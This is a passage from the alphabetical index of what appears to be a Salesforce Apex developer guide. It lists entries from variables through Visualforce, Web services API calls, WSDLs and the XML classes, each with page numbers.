in SOQL and SOSL queries 62
instance 97, 98
local 97
precedence 123
static 97, 98
trigger context 70
using with classes 93

Version settings
API version 124
package versions 125
understanding 124

Very large SOQL queries 60
Virtual definition modifier 90

Visualforce
ApexPages methods 291
message severity 356
pages 344
security tips 452
when to use 14

W
Walk-through, sample application 438
Web services API calls
compileAndTest 432
compileClasses 437
compileTriggers 437
compileAndTest 437
custom 200
executeAnonymous 85
retrieveCode 435
Web services API calls (continued)
runTests 135
transaction control 64
when to use 14

WebService methods
considerations 200
exposing data 200
overloading 202
understanding 200

Where clause, SOQL query 62
While loops 53
with sharing keywords 111
without sharing keywords 111
Workflow 76
Writing Apex 10

WSDLs
creating an Apex class from 204
debugging 211
eexample 208
generating 200
mapping headers 211
overloading 202
runtime events 211

X
XML reader methods 391
XML writer methods 395
XmlNode class 399
XmlStreamReader class, methods 391
XmlStreamWriter class, methods 395